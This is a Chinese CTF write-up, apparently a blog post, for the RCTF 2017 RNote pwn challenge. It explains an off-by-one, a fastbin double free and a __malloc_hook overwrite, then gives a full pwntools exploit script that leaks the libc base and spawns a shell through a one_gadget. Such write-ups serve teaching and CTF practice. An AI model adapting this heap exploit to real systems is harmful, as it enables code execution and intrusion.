RNote XCTF 3rd-RCTF-2017 攻防世界

 这个题 emmm   利用 off by one  然后就是double free  然后 写到 malloc_hook 就ok

不过这个题 我一开始出了一个问题 在 malloc_hook  里面我只是找到了  7f 

然后我用了 0x30的堆块  然后不行 malloc的直接在堆块了 没有到我们想要的地方   只能又重新规划    然后 one_gadget   一把梭就好了 

存在  off by one 的地方

 

 基本的泄露基址的方法   很入门的一道题

#!/usr/bin/env python2
from pwn import *
context.log_level = 0
io=process("./RNote")
libc=ELF("./libc-2.23.so")
def add(size,title,content):
	io.sendline("1")
	io.recvuntil("Please input the note size: ")
	io.sendline(str(size))
	io.recvuntil("Please input the title: ")
	io.send(title)
	io.recvuntil("Please input the content: ")
	io.send(content)

def dele(index):
	io.sendline("2")
	io.recvuntil("Which Note do you want to delete: ")
	io.sendline(str(index))

def show(index):
	io.sendline("3")
	io.recvuntil("Which Note do you want to show: ")
	io.sendline(str(index))

if __name__ =="__main__":
	add(0x20,'a'*0xf+'\n','a'*0x20)#0
	add(0x20,'b'*0xf+'\n','b'*0x20)#1
	add(0x20,'c'*0xf+'\n','c'*0x20)#2
	add(0x80,'d'*0xf+'\n','d'*0x20)#3
	add(0x60,'A'*0xf+'\n','e'*0x20)#4 30
	dele(3)
	add(0x80,'d'*0xf+'\n','\n')#3
	show(3)
	io.recvuntil("note content: ")
	main_arena=u64(io.recv()[8:14].ljust(8,'\x00'))-88
	libc_base_addr=main_arena-0x3C4B20
	print hex(libc_base_addr)
	system_addr=libc_base_addr+libc.sym['system']
	add(0x20,'D'*16+'\x30\n','e'*0x20)#5
	add(0x60,'A'*0xf+'\n','e'*0x20)#6
	add(0x60,'A'*0xf+'\n','e'*0x20)#7
	dele(4)
	dele(7)
	dele(5)
	# dele(6)#double free
	# #gdb.attach(io)
	fake_chunk_addr=main_arena-0x33
	sh_bin=libc.search("/bin/sh").next()+libc_base_addr
	print "fake_chunk_addr",hex(fake_chunk_addr)
	one = libc_base_addr + 0xf1147
	payload=0x13 * 'a' + p64(one)
	
	add(0x60,'e'*0xf+'\n',p64(fake_chunk_addr))
	# #gdb.attach(io)
	add(0x60,'s'*0xf+'\n','s'*0x20)
	add(0x60,'s'*0xf+'\n','s'*0x20)
	
	#gdb.attach(io,'b *0x7ffff7a52390')
	# #gdb.attach(io)
	add(0x60,'F'*0xf+'\n',payload)
	# #gdb.attach(io)
	io.recv()
	io.sendline('1')
	io.recv()
	io.sendline('10')
	io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值